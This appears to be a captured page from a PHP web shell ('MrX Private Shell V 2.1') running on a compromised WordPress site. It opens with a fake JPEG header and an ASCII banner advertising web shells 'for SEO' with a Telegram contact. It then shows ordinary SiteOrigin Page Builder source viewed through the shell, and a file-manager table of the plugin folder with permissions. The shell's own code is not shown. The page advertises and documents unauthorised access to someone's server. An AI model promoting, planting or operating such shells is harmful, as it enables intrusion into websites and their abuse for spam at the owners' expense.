����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
class SiteOrigin_Panels_Home {
function __construct() {
add_action( 'admin_menu', array( $this, 'admin_menu' ) );
}
public static function single() {
static $single;
return empty( $single ) ? $single = new self() : $single;
}
/**
* Add items to the admin menu
*
* @action admin_menu
*/
public function admin_menu() {
if ( ! siteorigin_panels_setting( 'home-page' ) ) {
return;
}
add_theme_page(
__( 'Custom Home Page Builder', 'siteorigin-panels' ),
__( 'Home Page', 'siteorigin-panels' ),
'edit_theme_options',
'so_panels_home_page',
array( $this, 'render_home' )
);
}
/**
* Render the home page interface.
*/
public function render_home() {
// We need a global post for some features in Page Builder (eg history)
global $post;
$home_page_id = get_option( 'page_on_front' );
if ( empty( $home_page_id ) ) {
$home_page_id = get_option( 'siteorigin_panels_home_page_id' );
}
$home_page = get_post( $home_page_id );
if ( ! empty( $home_page ) && get_post_meta( $home_page->ID, 'panels_data', true ) != '' ) {
$post = $home_page;
}
$panels_data = SiteOrigin_Panels_Admin::single()->get_current_admin_panels_data();
include plugin_dir_path( __FILE__ ) . '../tpl/admin-home-page.php';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| data | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| admin-dashboard.php | File | 3.81 KB | 0644 |
|
| admin-layouts.php | File | 17.14 KB | 0644 |
|
| admin-widget-dialog.php | File | 5.36 KB | 0644 |
|
| admin-widgets-bundle.php | File | 4.78 KB | 0644 |
|
| admin.php | File | 67.1 KB | 0644 |
|
| cache-renderer.php | File | 1.15 KB | 0644 |
|
| css-builder.php | File | 8.02 KB | 0644 |
|
| error_log | File | 6.62 KB | 0644 |
|
| functions.php | File | 2.69 KB | 0644 |
|
| home.php | File | 1.25 KB | 0644 |
|
| live-editor.php | File | 2.49 KB | 0644 |
|
| post-content-filters.php | File | 2.53 KB | 0644 |
|
| renderer-legacy.php | File | 5.62 KB | 0644 |
|
| renderer.php | File | 37.43 KB | 0644 |
|
| revisions.php | File | 2.76 KB | 0644 |
|
| settings.php | File | 26.11 KB | 0644 |
|
| sidebars-emulator.php | File | 7.46 KB | 0644 |
|
| styles-admin.php | File | 21.19 KB | 0644 |
|
| styles.php | File | 38.92 KB | 0644 |
|
| widget-shortcode.php | File | 3.39 KB | 0644 |
|